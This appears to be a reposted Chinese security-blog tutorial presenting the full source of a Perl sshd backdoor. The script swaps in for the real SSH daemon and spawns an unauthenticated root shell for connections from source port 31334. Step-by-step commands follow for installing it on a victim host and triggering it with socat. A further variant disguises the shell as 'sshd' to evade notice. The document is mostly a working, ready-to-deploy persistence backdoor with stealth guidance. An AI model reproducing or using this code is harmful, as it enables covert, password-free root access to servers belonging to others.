sshd後門源碼: 這段代碼的意思: 第一行, 如果當前文件句柄STDIN是一個socket,且socket的遠程連接源埠是31334(Big 網路位元組序中的16進位字元串為\x00\x00zf, 正好匹配上perl正則 ..zf,上述代碼中的zf是Big 網路位元組序的Ascii表示形式),則執行 ...
sshd後門源碼:
#!/usr/bin/perl exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/); exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
這段代碼的意思:
第一行, 如果當前文件句柄STDIN是一個socket,且socket的遠程連接源埠是31334(Big 網路位元組序中的16進位字元串為\x00\x00zf, 正好匹配上perl正則 ..zf,上述代碼中的zf是Big 網路位元組序的Ascii表示形式),則執行/bin/sh,並結束當前程式運行(不會執行第二步),相當於反彈一個root shell (因為sshd 是以root許可權運行的)給遠程socket (一般只有攻擊者指定連接的源埠才能觸發這一行的執行)
第二行 啟動sshd (/usr/bin/sshd是真正的sshd)服務 ,凡是傳遞給/usr/sbin/sshd (後門)的參數都傳遞給真正的sshd (這一行保證了普通用戶也可以正常使用ssh 服務,登錄並不會有什麼異常現象
如何使用後門
被控端(Victim) 10.1.100.3 Kali
控制端 10.1.100.2 centos7
1) 在被控端執行以下操作
將真正的sshd 移至/usr/bin/sshd
mv /usr/sbin/sshd /usr/bin/sshd
將後門sshd (perl腳本移動至/usr/sbin/sshd),並授予執行許可權
chmod +x /usr/sbin/sshd
重啟 ssh 服務
/etc/init.d/ssh reatart
2) 在控制端執行以下操作:
socat STDIO TCP4:10.1.100.3:22,sourceport=31334
這行命令的意思是說,將輸入輸出重定向至於socket 10.1.100.3:22 (這樣後門perl腳本中STDIN就是socket了), 且這個socket的源埠為31334
這行命令等價於 socat -TCP4:10.1.100.3:22,sourceport=31334
這樣就可以無需認證 (因為還未到sshd認證階段就反彈root shell 了)成功獲取控制端系統 shell
被控制端埠連接情況:
22 埠是sh 和 控制端連接,程式名是ssh ,而不是正常的sshd,為了增強隱秘性, 我們可以將copy 一份/bin/sh, 重命名為/bin/sshd,修改後門源碼為:
#!/usr/bin/perl exec"/bin/sshd"if(getpeername(STDIN)=~/^..zf/); exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
控制端再次連接:
現在已經變成了sshd ,偽裝性更強!
本文轉載自Freebuf:http://www.freebuf.com/articles/system/140880.html